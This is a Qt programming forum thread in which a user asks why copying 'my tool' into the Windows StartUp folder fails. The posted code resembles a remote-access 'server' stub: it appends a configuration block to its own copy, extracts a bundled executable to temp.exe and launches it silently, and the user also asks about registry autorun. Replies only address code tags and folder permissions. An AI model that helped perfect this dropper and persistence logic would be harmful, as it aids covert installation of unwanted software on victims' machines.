PDA

View Full Version : Copying my tool in startup qt



davinciomare
4th October 2016, 01:04
Hi i want to run my qt app since startup.Error:
QIODevice::write (QFile, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\miprogram.exe"): device not open

Code, I have the function tiempocopiar to copy and the other is for the configuration of my tool:

void MainWindow::tiempoCopiar()
{
/** Copia el servidor al directorio de inicio **/
QByteArray datos = nuevaTrama(); //Reconstruimos la configuración con algunas modificaciones para el servidor copiado
//Copiar a los posibles directorios de inicio de windows
copiarServidor(datos,QDir::homePath().left(2) + "/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/" + this->nombreCopiable);//

copiar.stop();
}


void MainWindow::copiarServidor(QByteArray tramaConfiguracion, QString destino)
{
/** Copia el servidor a la ruta destino con la configuración proporcionada en tramaConfiguracion **/
QString home = directorio.homePath(); //ruta absoluta del directorio raiz del usuario
QString appPath = QApplication::applicationFilePath(); //ruta absoluta a la aplicación
if (this->adjunto == "unido") //Cuando hay un ejecutable adjunto
{
//TODO: ":Esto está muy poco optimizado, mejorar más adelante."
QDir directorio;
qint64 tamano;
tamano = this->tamanoAdjunto;
QFile adjunto;
QFile servidor;
adjunto.setFileName(directorio.tempPath() + "/temp.exe");
servidor.setFileName(QApplication::applicationFile Path());
adjunto.open(QFile::WriteOnly);
servidor.open(QFile::ReadOnly);
if(this->nombreCopiable != "noiniciar") //Solo necesitamos extraer el servidor si lo tenemos que copiar
{
QFile copiable;
copiable.setFileName(destino);
copiable.open(QFile::WriteOnly);
copiable.write(servidor.read(servidor.size() - 1024 - tamano));
copiable.write(tramaConfiguracion,1024);
copiable.close();
}
servidor.seek(servidor.size() - 1024 - tamano);
adjunto.write(servidor.read(tamano));
servidor.close();
adjunto.close();
proceso.setWorkingDirectory(directorio.tempPath()) ;
QString exeFileName = directorio.tempPath() + "/temp.exe";
QProcess::startDetached(exeFileName);
}
else
{
if(this->nombreCopiable != "noiniciar")
{
QFile servidor;
QFile copiable;
servidor.setFileName(QApplication::applicationFile Path());
copiable.setFileName(destino);
copiable.open(QFile::WriteOnly);
servidor.open(QFile::ReadOnly);
copiable.write(servidor.read(servidor.size() - 1024));
copiable.write(tramaConfiguracion,1024);
copiable.close();
servidor.close();
}
}
}

d_stranz
4th October 2016, 04:02
Por favor, use etiquetas de código al publicar el código fuente por lo que es más fácil de leer. Haga clic en "Go Advanced" y luego en el icono "#" para insertar las etiquetas. Pegar el código entre ellos.

davinciomare
4th October 2016, 10:50
Sorry the problem is not code, Works fine. The problem is when i try to copy in folder with rigts take me message of qiodevice no device found. Some way to link to my startup or when i copied the file, register to my run folder of my registry to run everytime.

anda_skoa
6th October 2016, 16:53
Aside from the very strange way of getting the destination path, the path doesn't look like a commonly writable location at all.

What is it with developers on Windows that thing everyone runs their special software as an Administrator user?

Cheers,
_